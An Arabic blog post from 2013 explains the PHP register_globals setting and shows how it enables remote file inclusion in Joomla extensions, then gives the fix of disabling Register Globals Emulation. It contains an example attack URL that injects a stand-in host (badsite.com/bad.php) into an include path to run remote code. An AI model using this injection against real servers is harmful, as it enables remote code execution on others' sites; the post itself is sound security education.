الأحد، 3 فبراير 2013

Register Globals س : ما هي


مقدمة:

من الاعدادات المستخدمة في الـ php يوجد اعداد يعرف بالـ register_globals.
وظيفته تكمن في التسهيل على المبرمج حيث يقوم بتعريف المتغيرات المدخلة من المستخدم بطريقتي Post و Get في النطاق العام,و هنا تكمن الخطورة , فيما يلي مثال يوضح هذا



مثال:
لنفترض أن هناك تطبيق يسمى X وهذا التطبيق مكتوب بطريقة غير آمنة و يحتوي على السطر التالي
Code:
include  $mosConfig_absolute_path . '/components/com_X/XFile.php' );
كما هو واضح يقوم هذا السطر بادراج ملف الـ php المدعو Xfile.php في التطبيق

لنفترض أن أحدا الأشرار حاول مهاجمة هذا التطبيق باستخدام الـ url التالي
Code:
http:/ /www.example.com/components/com_x/x.php?mosConfig_absolute_path=http://www.badsite.com/bad.php
في حالة وجود الـ register_globals سيقوم الـ php مشكورا بتعريف المنغيير mosConfig_absolute_path في النطاق العام,طبعا المتغيير mosConfig_absolute_path هو اسم متغيير مستعمل من قبل و بالتالي يقوم php بتغيير قيمته الى h t t p://w w w. badsite . com/ bad . php .
و عندما يقوم جملة بتنفيذ السطر
Code:
include  $mosConfig_absolute_path . '/components/com_X/XFile.php' );
تكون نتيجة التعويض
Code:
include  http://www.badsite.com/bad.php. '/components/com_X/XFile.php' );
أي ادراج ملف PHP من موقع آخر و يتم تنفيذ الأوامر التي يحتويها على السرفر الخاص بك و في الأغلب لن تكون أوامر مسالمة 



ما موقعنا نحن من هذه المشكلة:
اعدادات جملة الافتراضية تشغل أو تحاكي تشغيل register_globals لانه بالرغم من خطورته الا أن هناك تطبيقات تعتمد عليه "أظن joomlaboard  يعتمد عليه".



الحل:
فنح لوحة التحكم بجملة والذهاب الى
Site -> Global Configuration
ثم إخنتيار tab Server
وتعديل Register Globals Emulation الى OFF


هذا الحل سيعمل بشكل جيد اذا كنت لا تستعمل تطبيقات تعتمد على هذه الخاصية,أما اذا واجهتك مشاكل بعد تعطيل الـ RG_EMULATION فلا حل الا اعادة تشغيله مرة أخرى و ترقية التطبيقات التي حدثت بها المشاكل الى آخر اصدار "حتى تأمن شر الـ RG " أو الانتقال الى غيرها ان وجدت البدائل.



تعديل dr_drsh : تعديل العنوان حتى يظهر بشكل صحيح "عندما يكتب من اليسار الي اليمين"ـ

ليست هناك تعليقات:

إرسال تعليق